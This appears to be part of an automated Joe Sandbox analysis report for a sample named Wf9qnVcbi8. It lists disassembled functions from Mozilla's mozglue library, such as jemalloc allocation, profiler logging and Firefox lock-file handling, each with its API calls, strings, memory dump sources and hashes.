Opcode Fuzzy Hash: 9d2197d511be49134a0656b11fe1a8842d76bcb2a713832d63fcb7213d10545e
Instruction Fuzzy Hash: C1B1E471A805508FDB18DE3CDC9476D77B2AF82328F188669E416DBF96E7309C418B91

Function 6C5AAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5AAC52
CreateFileMappingW.KERNEL32 ref: 6C5AAC7D
GetSystemInfo.KERNEL32 ref: 6C5AAC98
MapViewOfFile.KERNEL32 ref: 6C5AACB0
GetSystemInfo.KERNEL32 ref: 6C5AACCD
MapViewOfFile.KERNEL32 ref: 6C5AAD05
UnmapViewOfFile.KERNEL32 ref: 6C5AAD1C
CloseHandle.KERNEL32 ref: 6C5AAD28
UnmapViewOfFile.KERNEL32 ref: 6C5AAD37
CloseHandle.KERNEL32 ref: 6C5AAD43
CloseHandle.KERNEL32 ref: 6C5AAD67

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: ac824bfe565b0a203671d2a4b49fa142c41fdfbebb898592bf991ab5cb188aed
Instruction ID: e399a7d6ee33fce80216b454f6a7ae93616166870d849c9c30079e4f82950577
Opcode Fuzzy Hash: ac824bfe565b0a203671d2a4b49fa142c41fdfbebb898592bf991ab5cb188aed
Instruction Fuzzy Hash: 983140B1904B048FDB00FFB9DA4866EBBF0BF85705F02492DE98597211EB709589CB96

Function 6C559620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C559675
__Init_thread_footer.LIBCMT ref: 6C559697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C559707
__Init_thread_footer.LIBCMT ref: 6C55971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C559773

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5597B7
FreeLibrary.KERNEL32 ref: 6C5597D0
FreeLibrary.KERNEL32 ref: 6C5597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C559824

Strings

NtMapViewOfSection, xrefs: 6C559701
ntdll.dll, xrefs: 6C5596E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C559670
MapViewOfFileNuma2, xrefs: 6C5597B1

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: fa185cab3c740ad309b633bfa1e1a197c830f63b8d329c3f0bb7a5a93eefe621
Instruction ID: d7fc1cd1ef54841fbf7ab68a6463bd29ae65e9b91e019a9c56786b9d1d300068
Opcode Fuzzy Hash: fa185cab3c740ad309b633bfa1e1a197c830f63b8d329c3f0bb7a5a93eefe621
Instruction Fuzzy Hash: 8A41C2B57006059FDF00DFA4DC84A9A77F4EB4A714F02822EED1A97740E734EA25CBA5

Function 6C590000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C590039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C590041
GetCurrentThreadId.KERNEL32 ref: 6C590075
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C590082
moz_xmalloc.MOZGLUE(00000048), ref: 6C590090
free.MOZGLUE(?), ref: 6C590104
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C59011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C59005B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 6b243251b77ce1799e32e8cc3c9a45260736ab927fa3ffe722f22f8a85f5bff7
Instruction ID: 158af2eb81646c2553a35932932dd9413c654bfb9dbb681b648c5b7e7eaa0935
Opcode Fuzzy Hash: 6b243251b77ce1799e32e8cc3c9a45260736ab927fa3ffe722f22f8a85f5bff7
Instruction Fuzzy Hash: 5941AE75600644DFCB10DF65CC80A9ABBF0FF89318F41491EE95A93B50D735AD04CBA6

Function 6C557E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C557EA7
malloc.MOZGLUE(00000001), ref: 6C557EB3

Part of subcall function 6C55CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C55CB49
Part of subcall function 6C55CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C55CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C557EC4
mozalloc_abort.MOZGLUE(?), ref: 6C557F19
malloc.MOZGLUE(?), ref: 6C557F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C557F4D

Strings

d, xrefs: 6C557F89

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2f26f0a30e1cc8680dd946eef38d8e390fdf4623bc326255c397208a165690ce
Instruction ID: 61f163346a49e7d857bd5bcf58f3f9bcdf9eb64972185ca738f505b4f94c7015
Opcode Fuzzy Hash: 2f26f0a30e1cc8680dd946eef38d8e390fdf4623bc326255c397208a165690ce
Instruction Fuzzy Hash: 5F312A71E00788D7EB01DB28CC149FEB778EF95208F459229DC4957612FB31AAD8C394

Function 6C553E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C553EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C553FDC
RtlAllocateHeap.NTDLL ref: 6C554006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5540A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C553CCC), ref: 6C5540AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C553CCC), ref: 6C5540C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C554134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C553CCC), ref: 6C554143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C553CCC), ref: 6C554157

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 2e3e89ebd61d6ce208030d9f7b5312127f801d7033b34c2efb90de5ed48ed1cc
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: CEA171B1A00215CFDB40CF68C880659BBF5FF48318F65459AD909AF752D772E866CFA0

Function 6C542030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C563F47,?,?,?,6C563F47,6C561A70,?), ref: 6C54207F
memset.VCRUNTIME140(?,000000E5,6C563F47,?,6C563F47,6C561A70,?), ref: 6C5420DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C563F47,6C561A70,?), ref: 6C54211A
EnterCriticalSection.KERNEL32(6C5CE744,?,6C563F47,6C561A70,?), ref: 6C542145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C563F47,6C561A70,?), ref: 6C5421BA
EnterCriticalSection.KERNEL32(6C5CE744,?,6C563F47,6C561A70,?), ref: 6C5421E0
LeaveCriticalSection.KERNEL32(6C5CE744,?,6C563F47,6C561A70,?), ref: 6C542232

Strings

MOZ_CRASH(), xrefs: 6C54227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C542253, 6C542268

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 8608a40e8e292b852a7cb84a4a19b8e812c100bacb2d6824dcf73cfd647d72d5
Instruction ID: a81aa8be4fa70b872e4221d6948ba8fb3727d76b05a83d04b1b37956107ccb5e
Opcode Fuzzy Hash: 8608a40e8e292b852a7cb84a4a19b8e812c100bacb2d6824dcf73cfd647d72d5
Instruction Fuzzy Hash: AE61C231F04626CFCB04CAA9CC89B6E76B5AF85318F298639E524E7A94D7709D00CB95

Function 6C599D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C598273), ref: 6C599D65
free.MOZGLUE(6C598273,?), ref: 6C599D7C
free.MOZGLUE(?,?), ref: 6C599D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C599E0F
free.MOZGLUE(6C59946B,?,?), ref: 6C599E24
free.MOZGLUE(?,?,?), ref: 6C599E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C599EC8
free.MOZGLUE(6C59946B,?,?,?), ref: 6C599EDF
free.MOZGLUE(?,?,?,?), ref: 6C599EF5

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1bc33d8a62aa61105eb42c552a0bc0be51af6f3d050ea3d3dd8ce1588ee93c74
Instruction ID: cfdb6bee14ce3e716485db19fb35be3b6bddd5bf1f1d6f24f8f7620a4ecfd7ac
Opcode Fuzzy Hash: 1bc33d8a62aa61105eb42c552a0bc0be51af6f3d050ea3d3dd8ce1588ee93c74
Instruction Fuzzy Hash: C7716DB0909B81CFDB12CF19C88055AF3F5FF99315B449699E85E5BA12EB30E885CB81

Function 6C59DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C59DDCF

Part of subcall function 6C57FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57FA4B

Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C5990FF
Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C599108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59DE0D
free.MOZGLUE(00000000), ref: 6C59DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C58DEFD,?,6C554A68), ref: 6C59DF32

Part of subcall function 6C59DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C59DB86
Part of subcall function 6C59DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C59DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C58DEFD,?,6C554A68), ref: 6C59DF65
free.MOZGLUE(?), ref: 6C59DF80

Part of subcall function 6C565E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
Part of subcall function 6C565E90: memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
Part of subcall function 6C565E90: LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 17d48a2d46faa0d346c8d7671b1c0145b81c75177ee918e3fab5fb400f6211ea
Instruction ID: 0282d9a19ecbbe944e18a4635ee619bb4d39b7344c84e5be768703793f94abb0
Opcode Fuzzy Hash: 17d48a2d46faa0d346c8d7671b1c0145b81c75177ee918e3fab5fb400f6211ea
Instruction Fuzzy Hash: F351C4766016409BDB11CB29CC806AEB3B2BF91348F96059CD91A63B10D731FD1ACB92

Function 6C5A5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5DC9
std::_Facet_Register.LIBCPMT ref: 6C5A5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5A5C8C,?,6C57E829), ref: 6C5A5E45

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: fd15eaf050633f40c1f565cd65b562557a2dbd01c4dfe29fc453ad7cdeb5fbd7
Instruction ID: 5519ea94a5595ae7e4dc40387204c61e826fde4d470d6f919c3379a6208b4d4c
Opcode Fuzzy Hash: fd15eaf050633f40c1f565cd65b562557a2dbd01c4dfe29fc453ad7cdeb5fbd7
Instruction Fuzzy Hash: 00419F307006049FCB00EFA5CC98EAE77B5EF89314F454069E60A9B781EB30AE46CB65

Function 6C57CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5431A7), ref: 6C57CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C57CFA4, 6C57CFB8
<jemalloc>, xrefs: 6C57CF9F, 6C57CFB3

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9469ba7500df22d91447e60fcf38bfc8b8317887c3d8409567ce212dbdcaa5e1
Instruction ID: 6d5f1aef8a7768ac212c837da5c62adedc97a0f8d7aa6c6dfc8254eb8c259fba
Opcode Fuzzy Hash: 9469ba7500df22d91447e60fcf38bfc8b8317887c3d8409567ce212dbdcaa5e1
Instruction Fuzzy Hash: D031A3307412155BEF21AFA58C45B6E7BB9AB81718F304119FA11ABB80DBB0E580CBB5

Function 6C54ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C54F100: LoadLibraryW.KERNEL32(shell32,?,6C5BD020), ref: 6C54F122
Part of subcall function 6C54F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C54F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C54ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C54EDCC
CreateFileW.KERNEL32 ref: 6C54EE08
free.MOZGLUE(00000000), ref: 6C54EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C54EE32

Part of subcall function 6C54EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C54EBB5
Part of subcall function 6C54EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C57D7F3), ref: 6C54EBC3
Part of subcall function 6C54EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C57D7F3), ref: 6C54EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C54EDC1

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 5c9ec054e0f2d5278da7aca3bea3fca683e2fa7bfa255db9229c6140ff781429
Instruction ID: 36a3d37908d21405dbb033f8d26c38f04ef1a936399342d2b053656cb54cc2e1
Opcode Fuzzy Hash: 5c9ec054e0f2d5278da7aca3bea3fca683e2fa7bfa255db9229c6140ff781429
Instruction Fuzzy Hash: 93519E71D05204CBDB11DF68CC41AAEFBB0AF99318F44892DE8556B740E7B0A998C7A2

Function 6C5BA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5BA565

Part of subcall function 6C5BA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5BA4BE
Part of subcall function 6C5BA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5BA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5BA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5BA6B6

Strings

z, xrefs: 6C5BA6AE
0, xrefs: 6C5BA5FB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 4ee59698ae16eb9605e401568d13c74c6855799aae23dec37a3c4679500311e0
Instruction ID: 0535b843628c4d03fff4091cd296788a0eb0a743da6107d77aeed700ce2c3a68
Opcode Fuzzy Hash: 4ee59698ae16eb9605e401568d13c74c6855799aae23dec37a3c4679500311e0
Instruction Fuzzy Hash: A74139719087459FC341DF28C890A8FBBE4BFC9354F408A2EF49997650E730EA49CB92

Function 6C589420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
__Init_thread_footer.LIBCMT ref: 6C58949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C58946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C589459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C58947D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
